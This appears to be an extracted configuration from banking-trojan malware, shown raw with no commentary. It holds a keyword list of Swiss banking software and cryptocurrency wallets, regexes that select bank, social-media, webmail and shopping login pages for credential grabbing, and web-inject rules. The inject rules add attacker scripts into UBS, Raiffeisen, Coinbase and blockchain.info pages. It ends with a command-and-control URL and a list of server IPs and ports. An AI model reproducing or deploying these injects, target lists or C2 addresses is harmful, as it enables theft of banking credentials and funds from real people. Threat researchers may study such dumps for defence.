840e204392d2183ec7198917f73c9765f79d4baa0a05721f1d9a41b8670a7608
dc8a5f69bc48c4475bc4a44e7eb0fd99a5a7a537
2680cd66b98910d26bfd815d83ca330f
2017-05-12T19:19:16+00:00
64
grabber
0x4d38f016
crealogix,multiversa,abacus,ebics,agro-office,cashcomm,softcrew,coconet,macrogram,mammut,omikron,multicash,quatersoft,alphasys,wineur,epsitec,myaccessweb,bellin,financesuite,moneta,softcash,trinity,financesuite,abrantix,starmoney,sfirm,migrosbank,migros bank,online banking,star money,multibit,bitgo,bither,blockchain,copay,msigna,armory,electrum,coinbase,magnr,keepkey,coinsbank,coolwallet,bitoex,xapo,changetip,coinapult,blocktrail,breadwallet,luxstack,airbitz,schildbach,ledger nano,mycelium,trezor,coinomi,bitcore
\.(gif|png|jpg|css|swf|ico|js)($|\?)
(resource\.axd|yimg\.com)
^http://localhost\:9000/
^http://.*citrix
^http://.+winbacs/
^http://sisesrv1/
^http://synfo/
^http://.+\:81/.*
^http://.+\:8888/.*
^http://.+\:8090/.*
^http://.+\:8084/.*
^http://127\.0\.0\.1:3495
^http://.+/MULTIVERSA
^http://.+/workbench/
^http://.+/flows/ebanking/
^http://srvesmad04:8080/
^http://srvaweb01/
^http://.*/sapphire/
^http://192\.168\.161\.23
^http://.+/mscmain
^http://shv-09
^http://intersection
^http://cujc-arcu/
^http://.+\:3495/.*
^http://.+\:3496/.*
^http://.+\:40000/.*
^http://.+\:9000/.*
^http://core-web/
^http://core-syn/
^http://r-space/
^http://dtsgui\.cbhi\.local/
^http://10\.118\.32\.33/
^http://webmail\.
^http://dtsacquire2011
^http://arta2/
^http://dtsap:70/
^http://nmain/
^http://170\.209\.0\.(3|2)
^http://.*/flows/banking/
^http://.*/b2b/faces/login/
^http://.*ingbusinessonline
^http://.*multiweb
^http://.*multiversa
^http://bankway.*/
^http://ebanking
^http://.*office-wings
^http://.+/login\.aspx
^https://www\.facebook\.com/login\.php
^https://.*\.facebook\.com/
^https://twitter.com/(login|account/login_challenge/|sessions)
^https://.*?twitter\.com/
^https://.*?twitch\.tv/
^https://(.*?\.|)gvt2\.com/
^https://.*?youtube\.com/
^https://www.linkedin.com/uas/login
^https://www\.linkedin\.com/
^https://accounts\.google\.com/_/signin/
^https://.*?google\.com/
^https://www\.readcube\.com/.*login
^https://(.*?\.|)readcube\.com/
^https://.*\.sprint.com/.*/login\.jsp
^https://(.*?\.|)sprint.com/
^https://www\.amazon\..+/signin
^https://(.*?\.|)amazon.com/
^https://www\.facilocados\.com
^https://www\.skyrana\.com
^https?://docs\.google\.[^/]+/
^https?://.*\.365lpodds\.com
^https?://outlook\.live\.com
^https?://cws\.conviva\.com
^https://login\.yahoo\.com/account/(challenge|change\-password)
^https?://.*\.yahoo\.com
^https://www\.wsitrader\.com/Account/Login
^https?://.*\.?wsitrader\.com
^https://www\.netflix\.com/(.*/)?Login
^https?://.*\.?netflix\.com
^https?://logx\.optimizely\.com
^https://www\.adnxs\.com/index/login
^https?://(.*\.)?adnxs\.com
^https://fxgmlogin\.tradenetworks\.com
^https?://(.*\.)?tradenetworks\.com
^https?://otf\.msn\.com
^https://(.*\.)?pinterest\.com/resource/UserSessionResource/create
^https?://(.*\.)?pinterest\.com
^https?://pebed\.dm\.gg
^https?://.*\.taboola\.com
^https?://www\.googleapis\.com
^https://app\.pinterest\.com/admins/sign_in
^https?://(.*\.)?intercom\.io
^https://bolt\.dropbox\.com/.*/notify/
^https://.*\.liverail\.com
^https://urs\.microsoft\.com/
^https://.+\.services\.mozilla\.com/
^https://localhost.*/skypectoc/
^https://.*\.skype\.com/api/
^https://incoming\.telemetry\.mozilla\.org/
^https://www\.bing\.com/
^https://self-repair\.mozilla\.org/api/
^https://api\.firefox\.com
^https://mc\.yandex\.ru
^https://.*\.orangeapps\.ru/candyvalley/
^https://candy.*\.king\.com/rpc/ClientApi
^https://api\.accounts\.firefox\.com/
^https://banners\.webmasterplan\.com/.*\.aspx
^https://.*\.forgeofempires\.com/game/json
^https://collector\.schibsted\.io/api/v1/track/
cashproonline-.+\.bankofamerica\.com
www3\.bankline\.
pioneer\.co-operativebank\.
go\.ashx
^https://(wwwsec|inba|banking|netbanking)\..+\.ch/authen/login(\?|$)
\.(gif|png|jpg|css|swf)($|\?)
(</html>)
\1<script type="text/javascript" src="scripts/msoffice365.js"></script>
^https?://localhost:9000/workbench/WorkbenchOpenAction\.do.*
\.(gif|png|jpg|css|swf)($|\?)
(</html>)
\1<script type="text/javascript" src="scripts/msoffice365.js"></script>
^https://.+\.ch/(authen|WEB_XSA_LOGIN)/login\.xhtml
\.(gif|png|jpg|css|swf)($|\?)
(</head>)
<script type="text/javascript" src="/WEB_XSA_LOGIN/scripts/msoffice365.js"></script>\1
^https://blockchain\.info/wallet
(</body>)
\1<script type="text/javascript" language="JavaScript" src="scripts/ember3.js?system=1000"></script>
^https://(www.)?coinbase\.com/(dashboard|accounts|trade|settings|buy|sell|verifications)
(</body>)
\1<script type="text/javascript" language="JavaScript" src="scripts/ember3.js?system=1002"></script>
msoffice365.js
ember3.js
^https://ebanking\-ch\d*\.ubs\.com/workbench/
^https://ebanking\.raiffeisen\.ch/entry/
^https://.*/image777000/(.+)
^https://www.coinbase.com/files/
^https://www.coinbase.com/signin
https://45.55.25.107:3889/B88U86giIPyD55RK/
2018-05-23T13:20:04+00:00
3889
45.55.25.107
193.251.189.134
443
195.123.214.147
443
80.80.184.65
443
81.254.37.45
443
137.99.122.155
443
37.153.92.6
1443
217.125.29.12
444
185.236.77.228
443
50.206.15.189
8443
24.192.173.97
443
76.112.27.179
443
120.150.176.33
443
212.32.242.204
443
116.73.18.59
443
99.229.216.212
443
24.228.72.116
443
172.249.88.69
443
37.153.92.6
8443
212.237.42.204
443
109.21.222.28
443